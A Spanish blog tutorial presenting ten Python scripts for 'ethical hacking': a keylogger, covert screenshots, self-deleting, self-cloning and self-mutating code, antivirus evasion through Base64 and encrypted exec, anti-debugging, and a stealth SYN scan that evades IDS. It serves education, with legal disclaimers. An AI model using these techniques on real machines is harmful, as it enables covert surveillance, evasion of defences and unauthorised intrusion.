Python para Hackers: 10 Scripts Avanzados (solo uso ético)

¿Quieres saber cómo un script de Python puede mutar sobre la marcha, registrar pulsaciones de teclas, tomar capturas de pantalla de forma encubierta, eludir los sistemas de monitoreo y ejecutarse directamente desde la memoria RAM? ¡Bienvenido al mundo clandestino de las técnicas de hacking, donde la creatividad no conoce límites (¡excepto los legales)!

Este artículo está basado en la publicación «Python’s 10 Insane Underground Scripts You Didn’t Know Exist» (publicación en dev.to) en y trataremos 10 scripts Python para hackers.

En este artículo, veremos un conjunto de técnicas avanzadas con las que puedes:

• Destruir el código fuente después de la ejecución.
• Recolectar información de forma encubierta.
• Eludir antivirus y sistemas de monitoreo.
• Ejecutar código sin dejar rastros en el sistema de archivos.
• E incluso protegerte contra la ingeniería inversa.

Aviso legal: Cada uno de estos scripts tiene aplicaciones éticas y potencialmente peligrosas, por lo que es importante destacar: todos los métodos descritos deben usarse exclusivamente con fines legales, con comprensión de las normas éticas y las limitaciones legales.

¿Qué es python para hackers?

El término python para hackers se refiere al uso de este lenguaje para escribir scripts que ayudan a entender, simular y detectar técnicas usadas en seguridad informática. Python destaca porque es:

• Sencillo de aprender y leer.
• Compatible con múltiples librerías de ciberseguridad.
• Flexible para crear scripts que automatizan pruebas y ataques simulados.
• Ideal para el hacking ético y el pentesting legal.

10 Scripts de Python para Hackers

Scripts de Python Autodestructivos

Estos scripts son útiles en casos donde no se puede dejar el código fuente después de la ejecución, por ejemplo, en tareas relacionadas con la seguridad, la confidencialidad o el pentesting.

Cómo funcionan los scripts autodestructivos:

• Definición del propio archivo: El script encuentra la ruta a su propio archivo usando las variables __file__ o sys.argv[0].
• Autoeliminación: Después de ejecutar la tarea principal, el script llama a la función os.remove() para eliminarse del disco.

import os
import sys

def main():
    print("Este script se autodestruirá después de la ejecución.")
    # Aquí puede estar el código principal...

    # Autodestrucción: eliminar el archivo actual
    try:
        os.remove(__file__)
        print("La autodestrucción se realizó correctamente. ¡Adiós!")
    except Exception as e:
        print("Error durante la autodestrucción:", e)

if __name__ == '__main__':
    main()

Después de que el script se elimine a sí mismo, será imposible recuperarlo sin una copia de seguridad.

Captura de Pantalla Incógnita

Para los pentesters es importante actuar de forma encubierta. Una de las herramientas más útiles para un hacker ético es la captura de pantalla imperceptible, que permite obtener pruebas de vulnerabilidades sin llamar la atención del usuario.

Cómo funciona la captura de pantalla incógnita:

• Creación de una captura de pantalla completa: Con las bibliotecas pyautogui y PIL (Pillow) se puede tomar una captura de pantalla de toda la pantalla.
• Captura de una región específica: Se puede especificar una región concreta de la pantalla (por ejemplo, una ventana o parte de la pantalla) que se debe capturar.
• Métodos para ocultar la actividad: Para que el usuario no note el proceso de captura, se utilizan retrasos y ocultación del trabajo del script.

import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # Hacer una captura de pantalla (si region no está especificado, será toda la pantalla)
    screenshot = pyautogui.screenshot(region=region)
    # Convertir la captura de pantalla a una matriz numpy
    frame = np.array(screenshot)
    # Convertir la imagen de RGB (PIL) a BGR (OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # Capturar un área de 300x400 píxeles desde la esquina superior izquierda
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("Stealth Capture", frame)
    cv2.waitKey(3000)  # Mostrar la ventana durante 3 segundos
    cv2.destroyAllWindows()

Cabe destacar que esta captura de pantalla no se utiliza necesariamente con fines maliciosos; es útil en el pentesting legal, cuando es necesario registrar cómo se ve una vulnerabilidad.

En este caso, debes obtener un permiso oficial para usar la captura de pantalla; de lo contrario, los propietarios del recurso pueden considerarlo una violación de la ley.

Información adicional:

• Guía de captura de pantalla en ThePythonCode.com
• Documentación de PyAutoGUI

Evasión de Antivirus mediante Ofuscación

Los programas antivirus suelen utilizar el análisis de firmas, es decir, buscan patrones característicos de código para identificar una amenaza. Si el código es predecible, es fácil de detectar. La ofuscación ayuda a ocultar estos patrones, lo que permite eludir las comprobaciones antivirus simples.

Técnicas principales de ofuscación:

• Codificación de cadenas: En lugar de almacenar cadenas en texto plano, se pueden codificar usando Base64, ROT13 o un método propio.
• Generación de código en tiempo de ejecución: En lugar de escribir la lógica importante directamente, se puede guardar como texto y ejecutarla en el momento oportuno mediante la función exec().

import base64

# Código secreto como cadena
secret_code = "print('¡Hola desde el lado oscuro!')"

# Codificar el código en Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# Decodificar y ejecutar durante la ejecución
exec(base64.b64decode(encoded_code).decode())

Importante:

• La ofuscación ayuda a eludir los filtros antivirus simples, especialmente aquellos que se orientan a las firmas, pero no protege contra el análisis avanzado.
• En el ámbito profesional, estas técnicas se utilizan en el pentesting y el análisis de malware.

Materiales recomendados:

• Técnicas de ofuscación en GitHub
• Una guía completa para ofuscar código Python

Keyloggers Ocultos

Un keylogger es un programa que rastrea y registra las pulsaciones de teclas. Con fines legales, los keyloggers se utilizan en el pentesting, por supuesto, solo con permiso oficial.

Cómo funciona un keylogger:

• Seguimiento de teclas: Con la biblioteca keyboard se puede detectar cada pulsación de tecla en el sistema.
• Almacenamiento o envío de datos: La información sobre las teclas capturadas se puede guardar en un archivo de texto y/o enviar por red.

import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("Keylogger iniciado. Presione ESC para detenerlo.")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")

Importante:

• El uso ético es obligatorio. Nunca ejecutes keyloggers en el ordenador de otra persona sin permiso; es ilegal y puede tener graves consecuencias.

Artículo relacionado: Cómo crear un Keylogger con PowerShell

Código Autocopiado y Autoreproductor

Un script autoreproductor (o clonador) crea una copia de sí mismo y la ejecuta. Esta es una técnica interesante que, además de cumplir su objetivo principal, ayuda a comprender mejor:

• Cómo funciona Python con su propio código (introspección).
• Cómo gestionar procesos.
• Cómo utilizar la entrada/salida de archivos.

Con fines éticos, este enfoque se puede utilizar, por ejemplo, para copias de seguridad, reinicio, emulación de la resistencia del proceso, etc.

Cómo funciona la autocopia:

• Extracción del código fuente: Con la función inspect.getsource(), el script puede obtener su propio código como texto.
• Creación de una copia del archivo: El código obtenido se escribe en un nuevo archivo .py (por ejemplo, clone_script.py).
• Ejecución del clon: El nuevo archivo se ejecuta a través de subprocess.Popen(), creando un nuevo proceso, y el original puede, por ejemplo, autodestruirse.

import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # Obtener el código fuente de la función actual (todo el script)
    code = inspect.getsource(inspect.currentframe())
    # Nombre del clon
    clone_filename = "clone_script.py"

    # Escribir el código en un nuevo archivo
    with open(clone_filename, "w") as f:
        f.write(code)

    # Ejecutar el clon
    cmd = f"python {clone_filename} 1"
    subprocess.Popen(shlex.split(cmd), start_new_session=True)

    print("Clon iniciado. El original se autodestruye...")
    os.remove(__file__)  # Eliminar el original

if __name__ == '__main__':
    clone_and_run()

Estas técnicas se utilizan en programas maliciosos (por lo que es importante que los especialistas en infobase sepan cómo funcionan).

Ejecución de Código en Memoria RAM

Ejecutar código solo en la memoria RAM, sin escribir en el disco, permite minimizar los rastros en el sistema de archivos. Esto es especialmente útil en situaciones en las que es necesario ocultar la presencia en el sistema, por ejemplo, durante el pentesting.

Cómo funciona:

• Compilación de código desde una cadena: Con la función compile() se puede convertir una cadena con código Python en un objeto de código ejecutable.
• Ejecución directamente desde la memoria: El objeto de código obtenido se pasa a exec(), y se ejecuta sin escribir en el disco.
• Se pueden cargar y ejecutar fragmentos de código desde recursos de red, archivos cifrados o bases de datos.

code_string = """
def greet():
    print('¡Hola! Este código se ejecuta directamente desde la memoria.')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

El malware utiliza estos métodos para eludir los antivirus.

Descifrado de Código en Tiempo de Ejecución

El cifrado no solo se aplica a los datos transmitidos por la red, sino también a partes del código, que se pueden guardar encriptadas y descifrar solo durante la ejecución del programa. Esto ayuda a ocultar la lógica y proteger la propiedad intelectual.

Cómo funciona este método:

• Cifrado del código: Se utiliza, por ejemplo, la biblioteca cryptography.fernet para cifrar una cadena con código.
• Descifrado y ejecución en tiempo de ejecución: En el momento oportuno, el programa descifra el código y lo ejecuta mediante la función exec().

from cryptography.fernet import Fernet

# Generación de la clave (¡en situaciones reales, debe almacenarse de forma segura!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Código secreto que queremos ocultar
secret_code = "print('¡Este código secreto ha sido encriptado!')"

# Ciframos la cadena con el código
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# Durante la ejecución: desciframos y ejecutamos
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

En una aplicación legal, este método ayuda a:

• Proteger la propiedad intelectual (por ejemplo, la lógica empresarial importante).
• Ocultar datos confidenciales (al trabajar con licencias o claves API).
• Dificultar el trabajo de los analizadores de código y la ingeniería inversa.

Se pueden encontrar más detalles sobre el método en la documentación de la biblioteca de cryptography.

Antidepuración

Para proteger el script del análisis o la ingeniería inversa, se puede implementar un mecanismo de antidepuración; este es un método que permite detectar la presencia de un depurador y reaccionar a él (por ejemplo, cambiar la lógica de comportamiento del script o finalizar su ejecución).

Cómo funciona la antidepuración:

• Comprobación del entorno: El script puede buscar signos de depuración, por ejemplo, la actividad de sys.gettrace().
• Cambio de comportamiento: Si se detecta la depuración, el programa puede finalizar la ejecución, o agregar un retraso, o cambiar la lógica de funcionamiento para confundir al analizador.

import sys
import time

def anti_debug():
    # Comprobación: si hay un depurador, gettrace() no devolverá None
    if sys.gettrace() is not None:
        print("¡Se ha detectado un depurador! Se termina el trabajo para la protección.")
        time.sleep(2)
        sys.exit()  # Salida del programa

if __name__ == '__main__':
    anti_debug()
    print("No se ha detectado ningún depurador. Se continúa con la ejecución...")

Importante:

Estos métodos deben utilizarse de forma ética y solo en condiciones controladas, por ejemplo:

• En aplicaciones comerciales para proteger las licencias.
• En sistemas donde es importante evitar la interferencia en la lógica.

Escaneo de Red Oculto

Los pentesters a menudo necesitan escanear la red de forma encubierta para no llamar la atención de los sistemas de detección de intrusiones. Para estos fines, se puede escribir un escáner oculto propio en Python que imitará el comportamiento de los usuarios normales y no causará sospechas.

Cómo funciona el escaneo oculto:

• Creación de paquetes “legítimos”: Con la biblioteca scapy se pueden crear paquetes de red que parezcan tráfico normal. Por ejemplo, paquetes SYN, como en una conexión estándar al servidor.
• Retraso aleatorio: La adición de pausas aleatorias entre las solicitudes hace que el comportamiento se asemeje a las acciones de una persona, y no de una máquina. Esto ayuda a eludir los sistemas automáticos de detección.

from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    # Creamos un paquete SYN (como si quisiéramos establecer una conexión TCP)
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")

    # Enviamos el paquete y esperamos una respuesta
    response = sr1(packet, timeout=1, verbose=0)

    # Comprobamos: si el indicador de respuesta es SYN-ACK (0x12), significa que el puerto está abierto
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"Puerto {port} en {target_ip} - abierto.")
    else:
        print(f"Puerto {port} en {target_ip} - cerrado o filtrado.")

if __name__ == '__main__':
    target = "192.168.1.1"
    # Comprobamos 5 puertos aleatorios de 20 a 1024
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))  # Pausa aleatoria entre escaneos

El escaneo oculto se utiliza para:

• Probar la seguridad de la red de forma discreta.
• Eludir los sistemas IDS/IPS que rastrean la actividad sospechosa.
• Recopilar información sin riesgo de bloqueo.

Es importante utilizar estos escáneres solo con fines legales, por ejemplo, en el marco del pentesting con el permiso del propietario de la red.

Mutación Automática

Para eludir los sistemas de detección basados en firmas (antivirus o sistemas de monitoreo de código), se puede escribir un script que se modificará a sí mismo antes de cada ejecución. Esta técnica se llama mutación; convierte el script en un objetivo móvil, difícil de detectar y analizar.

Cómo funciona la mutación:

• Modificación del código fuente: El script lee su propio código, realiza pequeños cambios aleatorios (por ejemplo, cambia los comentarios o los nombres de las variables) y luego se guarda de nuevo.
• Cambio de la huella digital: Estos pequeños cambios no afectan a la lógica del programa, pero cambian la firma del archivo (su “huella digital”), lo que dificulta su reconocimiento mediante un patrón.

import os
import random

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # Cambiamos aleatoriamente las líneas con comentarios
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# Mutación {random.randint(1, 1000)}: {line}"

    with open(filename, 'w') as file:
        file.writelines(lines)
    print("Script mutado correctamente.")

if __name__ == '__main__':
    current_file = __file__
    mutate_script(current_file)

Los scripts mutantes son útiles para:

• Evitar el análisis estático: la mutación ayuda a eludir los sistemas que buscan patrones conocidos de código malicioso.
• Protección dinámica: el código tendrá un aspecto diferente en cada ejecución, y esto ayudará a hacer frente a los intentos de análisis manual.
• Pentesting: se puede utilizar para comprobar cómo reacciona el sistema a un código cambiante.

Importante:

Los scripts mutantes se utilizan a menudo en malware, pero también se pueden utilizar de forma ética, por ejemplo:

• Al probar antivirus o IDS.
• Para proteger la propiedad intelectual.
• Para crear scripts autorecuperables en entornos de prueba.

Conclusión

Experimentar con scripts de hacking ayudará a mejorar las habilidades de programación y la comprensión de los métodos que utilizan los pentesters experimentados y los especialistas en seguridad.

Es importante recordar que estas técnicas solo se pueden aplicar en máquinas virtuales o en un entorno controlado con el permiso correspondiente del administrador del sistema.

Preguntas Frecuentes sobre Python para hackers

Si quieres profundizar en el análisis de scripts de Python para el hacking, lee este artículo.